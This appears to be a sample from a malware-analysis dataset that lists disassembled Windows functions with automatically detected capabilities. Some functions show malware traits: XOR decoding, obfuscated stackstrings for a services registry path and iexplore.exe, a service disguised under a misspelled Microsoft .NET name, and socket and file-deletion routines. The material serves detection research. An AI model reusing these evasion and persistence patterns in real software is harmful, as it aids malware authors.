joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a6b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x88]
lea ecx, [esp + 0x28]
mov dword [0x1028c234], 0x20bf
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.10009650
lea ecx, [0x10009de0]
mov edx, dword [esp + 0x88]
mov dword [esp + 0x60], edx
mov dword [esp + 0x38], 0x155800
mov edx, dword [0x1028c220]
mov dword [esp + 0x40], edx
mov edx, dword [0x1028c224]
mov dword [esp + 0x64], edx
mov edx, dword [0x1028c228]
mov dword [esp + 0x70], edx
mov edx, dword [0x1028c22c]
mov dword [esp + 0x84], edx
mov edx, dword [0x1028c230]
mov dword [esp + 0x3c], edx
mov dword [0x1028c234], 0x212d
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x1000a777
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x44], ecx
mov dword [0x1028c238], 0x1fcc
mov eax, dword [ecx + eax + 0x50]
mov dword [esp + 0x5c], eax
call fcn.1000a1e0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x1000a7b2
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x1000a79e
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
je 0x1000a73f
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x1000a777
lea eax, [esp + 0x28]
mov ecx, dword [esp + 0x90]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10008d50
mov ecx, esp
lea edx, [esp + 0x28]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x1028c234], 0x1ed4
mov dword [esp + 0x10], eax
jmp 0x1000a76f

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
pop esp
jae 0x4153cc
inc ebp
rcr dword [eax], cl
invalid
outsd dx, dword [esi]
xor dword [edi], esi
xchg byte [eax - 0x11e1df31], dl
inc ebp
fidiv dword [ebx + 0x3a]
and byte [edi - 0xd], ah
rcr dword [ebx + 0x5d3ab87b], cl
jnp 0x41539a
cmp bl, byte [ebp + 0x2b]
sar dword [esi - 0x48cfd126], 1
jnp 0x41539a
cmp bl, byte [ebp + 0x2b]
sar dword [esi - 0x48cfd126], 1
dec ebx
cmp al, 0x72
fcompi st(1)
fcomp st(1)
test dword [edi], esp
ror dh, 1
invalid
Function at 0x4018f0
Capabilities:
Encode data using xor

Disassembly:
push ecx
lea eax, [esp]
mov ecx, dword [esp + 8]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.00401790
add esp, 8
xor edx, edx
test eax, eax
jle 0x401938
push ebx
mov ecx, dword [esp + 4]
mov bl, byte [edx + ecx]
sub bl, 0xc8
mov byte [edx + ecx], bl
mov ecx, dword [esp + 4]
mov bl, byte [edx + ecx]
xor bl, 0x7b
mov byte [edx + ecx], bl
inc edx
cmp edx, eax
jl 0x401912
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x401940
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8
Function at 0x402446
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push esi
mov esi, dword [ebp + 0x10]
push ebx
xor ebx, ebx
test esi, esi
jne 0x40245f
push 1
pop eax
jmp 0x4024d4
mov eax, dword [0x408498]
push 0
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0x104]
push 0
push 0
push eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x104], 1
inc eax
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4024cd
test eax, eax
je 0x40245f
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x40245f
mov eax, esi
sub eax, ebx
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
or eax, eax
je 0x4024cd
cmp eax, 0xffffffff
je 0x4024cd
add ebx, eax
cmp ebx, esi
jb 0x40245f
xor eax, eax
cmp ebx, esi
sete al
pop ebx
pop esi
leave
ret

Function at 0x402c37
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402cac
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], bl
mov dword [ebp + 8], ebx
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, dword [ebp + 0xc]
cmp edi, ebx
jbe 0x402ca4
lea eax, [ebp - 0xc]
push 0xa
push eax
call fcn.00401bc2
lea eax, [ebp + 8]
pop ecx
pop ecx
push ebx
push eax
push 0xa
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec edi
jne 0x402c82
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402f1b
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
push ebx
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetLastError
mov esi, 0x407144
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.ExitProcess
push esi
call ebx
push eax
call edi
push str.GetCurrentThreadId
push esi
call ebx
push eax
call edi
push str.CreateMutexA
push esi
call ebx
push eax
call edi
push str.GetModuleFileNameA
push esi
call ebx
push eax
call edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
mov dword [ebp - 8], eax
call ebx
push eax
call edi
push str.Sleep
push esi
mov dword [ebp - 4], eax
call ebx
push eax
call edi
lea edi, [ebp - 0x11c]
push 0x41
pop ecx
xor eax, eax
xor ebx, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x11c]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 8]
call fcn.00403000
test eax, eax
je 0x402fe2
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.Serxiev
push eax
mov dword [ebp - 0x14], 0x402cb0
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
call dword [ebp - 4]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworjk_COMs_Suppoyt
push str.Serxiev
call fcn.00403161
sub esp, 0xfffffff4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov edi, str.ADVAPI32.dll
push str.RegCloseKey
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.RegOpenKeyExA
push edi
mov dword [ebp - 0x28], eax
call esi
push eax
call ebx
push 0x40
xor edx, edx
mov dword [ebp - 0x30], eax
xor eax, eax
lea ebx, [ebp - 0x134]
lea edi, [ebp - 0x133]
pop ecx
mov byte [ebp - 0x134], dl
mov byte [ebp - 0x24], 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
or ecx, 0xffffffff
stosb byte es:[edi], al
not ecx
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
lea edi, [ebp - 0x24]
mov byte [ebp - 0x21], 0x54
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, ecx
sub edi, ecx
mov byte [ebp - 0x20], 0x45
shr ecx, 2
mov byte [ebp - 0x1f], 0x4d
mov esi, edi
mov edi, ebx
lea ebx, [ebp - 0x134]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x1e], 0x5c
or ecx, 0xffffffff
mov edi, str.Serxiev
not ecx
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
xor eax, eax
repne scasb al, byte es:[edi]
mov byte [ebp - 0x1a], 0x72
sub edi, ecx
mov esi, edi
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov edi, ebx
mov ebx, ecx
mov byte [ebp - 0x16], 0x43
or ecx, 0xffffffff
mov ecx, ebx
repne scasb al, byte es:[edi]
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov ecx, ebx
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x5c
mov byte [ebp - 2], dl
push eax
push 0xf003f
push edx
lea eax, [ebp - 0x134]
push eax
push closesocket
call dword [ebp - 0x30]
or eax, eax
pop edi
pop esi
pop ebx
jne 0x40315d
push dword [ebp - 0x2c]
call dword [ebp - 0x28]
push 1
pop eax
leave
ret
leave
xor eax, eax
ret
Function at 0x403956
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406170
push 0x403950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x4084bc], 0xffffffff
or dword [0x4084c0], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x4084b8]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x4084b4]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4084c4], eax
call fcn.00403ad5
cmp dword [0x407800], ebx
jne 0x4039d9
push 0x403ad2
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00403ac0
push 0x40700c
push 0x407008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x4084b0]
mov dword [ebp - 0x6c], eax
lea edi, [ebp - 0x6c]
push edi
push dword [0x4084ac]
lea esi, [ebp - 0x64]
push esi
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x407004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.MSVCRT.dll__acmdln]
mov edi, dword [eax]
mov dword [ebp - 0x74], edi
cmp byte [edi], 0x22
jne 0x403a6c
inc edi
mov dword [ebp - 0x74], edi
mov al, byte [edi]
cmp al, bl
je 0x403a40
cmp al, 0x22
jne 0x403a32
cmp byte [edi], 0x22
jne 0x403a49
inc edi
mov dword [ebp - 0x74], edi
mov al, byte [edi]
cmp al, bl
je 0x403a53
cmp al, 0x20
jbe 0x403a45
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x30], ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x403a77
movzx eax, word [ebp - 0x2c]
jmp 0x403a7a
cmp byte [edi], 0x20
jbe 0x403a49
inc edi
mov dword [ebp - 0x74], edi
jmp 0x403a6c
push 0xa
pop eax
push eax
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x78], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x403b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 0xfffffecc
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ebx, eax
push str.lstrcatA
push str.KERNEL32.dll
call edi
push eax
call ebp
push str.lstrcpyA
push str.KERNEL32.dll
mov esi, eax
call edi
push eax
call ebp
mov ebp, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov byte [esp + 0x1c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x74
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
xor al, al
mov byte [esp + 0x10], 0x5c
mov dl, 0x78
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x148]
push eax
push ecx
call ebp
mov eax, 1
pop ebp
pop edi
pop esi
pop ebx
sub esp, 0xfffffecc
ret

Function at 0x4055a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
add esp, 0xfffffff0
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055be
or eax, eax
pop esi
sub esp, 0xfffffff0
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ff
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
or eax, 0xffffffff
sub esp, 0xfffffff0
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x4023f0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x40e008]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x150]
push edi
push str._s.
push eax
call fcn.00401060
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
lea eax, [esp + 0x3c]
push eax
push edi
lea eax, [esp + 0x158]
push str._s_s
push eax
call fcn.00401060
add esp, 0x10
lea eax, [esp + 0x150]
push eax
call ebx
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402440
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x254]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004082b1
mov esp, ebp
pop ebp
ret
Function at 0x407ff0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409f8d
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.00407e90
cmp byte [ebp - 0x84], 0
jne 0x408141
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x408085
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x40e018
call fcn.00407e90
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.00407e90
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x4080f4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.00407f40
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x408183
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408179
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408179
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004082f2
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004082b1
mov esp, ebp
pop ebp
ret
Function at 0x1000330b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push reloc.OLEAUT32.dll_SysStringLen
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.1001a150
add esp, 0x10
mov dword [ebp - 4], eax
push dword [ebp + 0x14]
call fcn.1000338a
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
push 0
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000337f
push 0x60
push 0x402479b
push 6
call fcn.100199cc
add esp, 0xc
jmp 0x10003384
mov esp, ebp
pop ebp
ret 0x14

Function at 0x1000580b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push esi
mov esi, dword [eax]
test esi, esi
jne 0x10005830
xor eax, eax
jmp 0x10005835
mov eax, dword [esi + 4]
add eax, eax
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x184
call fcn.10019fb0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000586b
push ebx
call fcn.100199c6
add esp, 4
pop eax
mov dword [ebp - 4], eax
test esi, esi
je 0x10005878
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x100058cd
lea edx, [esi + 8]
mov dword [ebp - 0x14], 0x33323130
mov dword [ebp - 0x10], 0x37363534
mov dword [ebp - 0xc], 0x42413938
mov dword [ebp - 8], 0x46454443
test edx, edx
je 0x100058cd
test eax, eax
je 0x100058cd
lea esi, [edx + ecx]
cmp edx, esi
jae 0x100058cd
nop
movzx ecx, byte [edx]
shr ecx, 4
inc edx
movzx ecx, byte [ebp + ecx - 0x14]
mov byte [eax], cl
movzx ecx, byte [edx - 1]
and ecx, 0xf
lea eax, [eax + 2]
movzx ecx, byte [ebp + ecx - 0x14]
mov byte [eax - 1], cl
cmp edx, esi
jb 0x100058a9
pop esi
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x1000c750
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push VariantCopy
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x1000c798
mov eax, 0x1003a21d
push eax
push 1
mov ebx, 0x194
call fcn.1001bc00
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 8
jge 0x1000c7bd
jmp 0x1000c945
push dword [ebp + 8]
call fcn.1000525f
mov dword [ebp - 8], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fadd qword [0x1003a245]
fstp qword [ebp - 0x28]
mov dword [ebp - 0x2c], esp
fld qword [ebp - 0x28]
call fcn.100018b7
push eax
push 0x40
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x1000c811
push 0x129
push 0x402529a
push 6
call fcn.100199cc
add esp, 0xc
mov dword [ebp - 0xc], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fsub qword [0x1003a245]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
call fcn.100018b7
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x1000c916
fild dword [ebp - 8]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fild dword [ebp - 0x10]
fstp qword [ebp - 0x28]
fadd qword [ebp - 0x28]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.100018b7
push eax
call fcn.10002ead
mov word [ebp - 0x14], ax
cmp word [ebp - 0x14], 0
jne 0x1000c8b4
mov dword [ebp - 0x1c], esp
push 0
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000c8aa
push 0x222
push 0x402529a
push 6
call fcn.100199cc
add esp, 0xc
jmp 0x1000c916
cmp word [ebp - 0x14], 0x5c
jne 0x1000c8fd
cmp dword [ebp - 0x18], 0
jle 0x1000c8fa
mov dword [ebp - 0x1c], esp
push 0
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000c8fa
push 0x2c3
push 0x402529a
push 6
call fcn.100199cc
add esp, 0xc
inc dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.1000c94b
pop ebx
pop ecx
pop edx
add ecx, 2
jmp 0x1000c83a
add esp, 0xc
mov dword [ebp - 0x1c], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x1000c945
push 0x374
push 0x402529a
push 6
call fcn.100199cc
add esp, 0xc
mov esp, ebp
pop ebp
ret 4